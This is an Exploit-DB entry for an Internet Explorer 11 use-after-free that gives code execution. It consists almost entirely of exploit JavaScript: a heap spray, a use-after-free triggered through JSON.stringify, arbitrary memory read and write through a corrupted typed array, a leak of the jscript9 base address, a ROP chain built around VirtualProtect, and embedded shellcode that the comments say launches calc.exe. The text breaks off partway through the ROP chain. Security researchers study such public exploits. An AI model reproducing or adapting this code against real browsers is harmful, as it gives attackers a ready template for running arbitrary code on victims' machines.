Exploit-DB #44743
Description: Microsoft Internet Explorer 11 - javascript Code Execution
Type: local
Platform: windows
Date: 2016-02-01
Author: checkpoint

Exploit:
<html>
<body>
<script>
ARR_SIZE = 3248;
first_gadget_offsets = [150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476];
stackpivot_gadget_offsets = [122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542];
first_gadget = [0x89, 0x41, 0x0c, 0xc3];
stackpivot_gadget = [0x94, 0xc3];
gadget_offsets = {"stackpivot": 0, "g1": 0, "g2": 0};

function empty_replacer(a,b) {
    return b;
}

function create_list(lst, depth) {
    if (depth > 5)
    {
        return;
    }
    else
    {
        // Creates 19 objects in each nested list
        for (i = 0; i <= 19; i++)
        {
            // Create random string with length 8
            for (var val = "", c = 0; c <= 8; c++) {
                rnd = Math.floor((Math.random() * 90) + 48);
                l = String.fromCharCode(rnd);
                val = val + l;
            }
            lst["a" + i] = val;
        }
        create_list(lst["a0"] = {}, depth + 1);
    }
}

function create_triggering_json() {
    var lst = {}
    create_list(lst, 0);
    return lst;
}

// Create vulnerable JSON
trig_json = create_triggering_json();

spray = new Array(4096);
buff = new ArrayBuffer(4);
size = 0;

// Heap Spray
var I = setInterval(function(){     
    for (i=0;i<400;i++,size++) {
        spray[size] = new Array(15352);
        for (j = 0; j< 85;j++) {
            spray[size][j] = new Uint32Array(buff);
        }
        0 == i && (yb = spray[0][0]["length"], yb["toString"](16))
    }
    
    size >= (4096) && (clearInterval(I), uaf())    
}, 100);

var arr = []
function uaf()
{
    JSON.stringify(trig_json,empty_replacer);
    
    var pattern = [311357464,311357472,311357464];  
    for (var b = 3248 * 2, c = 203; c < b; c++)
        arr[c] = new ArrayBuffer(12);
        
    for (c = 203; c < b; c++)
    {
        var data = new Uint32Array(arr[c],0);
        a = 0;
        for (var i = data["length"] / pattern["length"]; a < i; a++)
            for (var d=0, e = pattern["length"]; d < e;d++) 
                data[a+d] = pattern[d];

    }

    CollectGarbage();

    search_corrupted_array();
}

var damaged_array;
function search_corrupted_array()
{
    for (i=0;i<4096;i++) 
    {
        for (j = 0; j< 85;j++) {
            if (spray[i][j].length != 1)
            {
                damaged_array = spray[i][j];
                damaged_array[1] = 0x7fffffff; // Set array to include almost entire user-space
                damaged_array[2] = 0x10000;
                
                write_dword_to_addr(damaged_array, 0x128e0020, 0xDEC0DE * 2 | 1); // Mark the first element of one of the arrays, to find it later
                for (k = 0; k < 4096; k++) { // find the marked array
                    if (spray[k][0] == 0xDEC0DE) {
                        break;
                    }
                }
                // now spray[k][0] is 0x128e0020
                if (k == 4096) break;
                spray[k][2] = new Array(1); // creates a native integer array, pointed by 0x128e0028
                spray[k][2][0] = new ArrayBuffer(0xc); // turns the array to be JavascriptArray
                arr_obj = read_dword_from_addr(damaged_array, 0x128e0028); // address of the new JavascriptArray object
                jscript9_base_addr = read_dword_from_addr(damaged_array, arr_obj) & 0xffff0000; // read the first dword of the JavascriptArray object, which is the vftable pointer, null the lower word to get jscript9 base address
                vp_addr = get_vp_addr(damaged_array, jscript9_base_addr); // virtual address of kernel32!VirtualProtectStub
                if (vp_addr == 0) break;
                arrbuf = new ArrayBuffer(0x5000); // this buffer will contain the ROP chain
                spray[k][0] = new Uint32Array(arrbuf); // Uint32Array that is a view to the arraybuffer above, pointed by 0x128e0020
                rc_buf_ui32_obj = read_dword_from_addr(damaged_array, 0x128e0020); // address of the Uint32Array object
                rc_buf_ui32_data = read_dword_from_addr(damaged_array, rc_buf_ui32_obj + 0x20); // address of first element of Uint32Array above
                var shellcode_caller = [0x53, 0x55, 0x56, 0xe8, 0x09, 0x00, 0x00, 0x00, 0x5e, 0x5d, 0x5b, 0x8b, 0x63, 0x0c, 0xc2, 0x0c, 0x00, 0x90];
				var shellcode = [96, 49, 210, 82, 104, 99, 97, 108, 99, 84, 89, 82, 81, 100, 139, 114, 48, 139, 118, 12, 139, 118, 12, 173, 139, 48, 139, 126, 24, 139, 95, 60, 139, 92, 31, 120, 139, 116, 31, 32, 1, 254, 139, 84, 31, 36, 15, 183, 44, 23, 66, 66, 173, 129, 60, 7, 87, 105, 110, 69, 117, 240, 139, 116, 31, 28, 1, 254, 3, 60, 174, 255, 215, 88, 88, 97, 195]; // open calc.exe shellcode
                spray[k][1] = new Uint8Array(shellcode_caller.concat(shellcode)); // shellcode, pointed by 0x128e0024
                sc_obj = read_dword_from_addr(damaged_array, 0x128e0024); // address of the Uint8Array object containing the shellcode
                sc_data = read_dword_from_addr(damaged_array, sc_obj + 0x20); // address of the shellcode buffer itself
                construct_gadget_dict(damaged_array, jscript9_base_addr);
                
                // construct the ROP chain
                spray[k][0][0] = jscript9_base_addr + gadget_offsets["g1"]; // mov dword ptr [ecx+0c], eax # ret
                spray[k][0][1] = jscript9_base_addr + gadget_offsets["g2"]; // ret
                spray[k][0][2] = vp_addr; // VirtualProtectStub pointer
                spray[k][0][3] = sc_data; // shellcode address (return address to which we return after VirtualProtect)
                spray[k][0][4] = sc_data; // lpAddress
                spray[k][0][5] = spray[k][1].length; // dwSize
                spray[k][0][6] = 0x40; // flNewProtect =